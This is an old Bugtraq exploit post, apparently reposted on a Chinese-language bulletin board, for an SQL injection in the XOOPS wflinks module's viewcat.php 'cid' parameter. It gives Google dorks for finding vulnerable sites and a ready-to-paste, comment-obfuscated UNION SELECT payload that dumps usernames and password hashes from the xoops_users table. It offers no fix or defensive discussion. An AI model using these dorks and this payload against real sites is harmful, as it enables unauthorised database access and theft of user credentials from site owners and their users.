XOOPS Module wflinks SQL Injection(cid)

看板Bugtraq作者時間18年前 (2008/02/20 00:32), 編輯推噓0(000)
留言0則, 0人參與, 最新討論串1/3 (看更多)
############################################################### # # XOOPS Module wflinks SQL Injection(cid) # ############################################################### # # AUTHOR : S@BUN # # HOME 1 : http://www.milw0rm.com/author/1334 # # MAİL : hackturkiye.hackturkiye@gmail.com # ################################################################ # # DORK 1 : allinurl: modules/wflinks/viewcat.php # # DORK 2 : allinurl: modules/wflinks # ################################################################ example http://xxxxxx.com/modules/wflinks/viewcat.php?cid= [exploit] EXPLOIT : -888888%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/char(117,115,101,114,110,97,109,101,58),concat(uname,0x3a,pass)/**/from%2F%2A%2A%2Fxoops_users/*%20where%20admin%20pass%20 ################################################################ # S@BUN i AM NOT HACKER S@BUN ################################################################
文章代碼(AID): #17kmIk00 (Bugtraq)
文章代碼(AID): #17kmIk00 (Bugtraq)